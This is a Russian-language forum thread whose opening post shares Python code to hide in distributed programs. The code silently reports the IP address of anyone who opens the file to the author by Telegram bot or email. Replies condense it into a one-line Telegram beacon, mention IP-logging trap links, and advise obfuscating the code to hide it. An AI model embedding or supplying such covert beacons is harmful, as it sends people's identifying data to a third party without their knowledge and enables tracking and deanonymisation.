Исходник Гайд Парсер IP

ivankaspersky

Новичок
Автор темы
21
3
Возможно кому-то полезная штука, которую можно будет вставить в ваш код.
Суть в том, что когда будет открыт файл, вам на почту, либо в телеграм придёт IP устройства с которого был открыт файл.

В случае с телеграмом будем использовать 3 библиотеки.
bs4
telebot
requests
ПЕРЕД НАПИСАНИЕМ/ИСПОЛЬЗОВАНИЕМ ОБЯЗАТЕЛЬНО СОЗДАЙТЕ ЧАТ С БОТОМ, КОТОРОГО ВЫ СОЗДАЛИ.

telegram-v:
import requests
import telebot

from bs4 import BeautifulSoup


TOKEN = 'Токен вашего бота'
bot = telebot.TeleBot(TOKEN)

def getip():
    url = 'https://2ip.ru/'

    #делаем запрос
    response = requests.get(url)

    soup = BeautifulSoup(response.text, 'lxml')

    #ищем класс ip
    ipget = soup.find(class_='ip')
    
    #в этом классе ищем содержимое тэга span
    ip = ipget.find('span').text
    realip = ip
    return realip #возвращаем полученный ip

realip = getip()

bot.send_message( ВАШ USER ID ТЕЛЕГРАМА (узнать - @getmyid_bot), f'Зафиксировано новое открытие.\nIP - {realip}\n(данные с 2ip.ru)' )

В случае с почтой:

Вам потребуется создать почту, на которую будет приходить адрес, и почту с которой будет отправлен адрес.​
mail-v:
import requests
import smtplib

from bs4 import BeautifulSoup

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

def getip():
    url = 'https://2ip.ru/'

    #make a request
    response = requests.get(url)

    #make a soup
    soup = BeautifulSoup(response.text, 'lxml')

    #find class 'ip'
    ipget = soup.find(class_='ip')
    ip = ipget.find('span').text
    realip = ip
    return realip

#result getip from 2ip
realip = getip()


addr_from = "***@mail.ru" #почта, с которой будет слаться IP(обязательно mail. Можно и другую, но код будет немного другой.)

addr_to   = "***@***.***" #куда будет приходить

password  = "***" #пароль от почты, с которой будет слаться IP

#made message
msg = MIMEMultipart()
msg['From']    = addr_from
msg['To']      = addr_to
msg['Subject'] = 'New IP' #вместо New IP можете указать что угодно, это тема сообщения.

#body of message
body = realip
msg.attach(MIMEText(body, 'plain'))

server = smtplib.SMTP('smtp.mail.ru', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
Untitled.png
Screenshot_4.png

Вы можете выставить это в ваш код на питоне. Можно так же спарсить данные с сервиса WHOIS, получить от туда город и страну, но это вы уже сами)
Если вылезают ошибки - пишите, помогу.
 

MaksQ

Известный
967
814
Быстрее будет
Python:
import requests

requests.get('https://ramziv.com/ip').text



Python:
import requests
import json

ip = requests.get('https://api.myip.com/').text
r = json.loads(ip)
print(r['ip'])
 
Последнее редактирование:
  • Нравится
Реакции: dart__ и ivankaspersky

Fott

Известный
3,400
2,208
И опять ж таки - токен прямо в скрипте. Гениально.
 
  • Нравится
Реакции: RAYDON

lovandog

Активный
224
98
разве не проще на самом 2ip.ru сгенерировать ссылку-ловушку и через нее?
 

ivankaspersky

Новичок
Автор темы
21
3
разве не проще на самом 2ip.ru сгенерировать ссылку-ловушку и через нее?
Я как-то раз пытался сделать такую штуку года 2 назад, она не работала и я забил хер. Мой вариант подходит для компилируемых программ.
 

SCHWEITZER

Известный
104
71
Быстрее будет http://ip-api.com/json/1.1.1.1?lang=ru

А вообще, можно глянуть в сторону GeoIP2
 

F0RQU1N and

Известный
1,307
492
а ничего, что чел может открыть код и пиздануть токен? или это для совсем тупых, хотя бы обфускатором накрыл тогда
кстати вот можно в 1 строку
Python:
__import__("requests").post(f"https://api.telegram.org/botYOUR_TOKEN/sendMessage?chat_id=chat_id&text={__import__('requests').get('http://ip.beget.ru/').text}")
 
Последнее редактирование: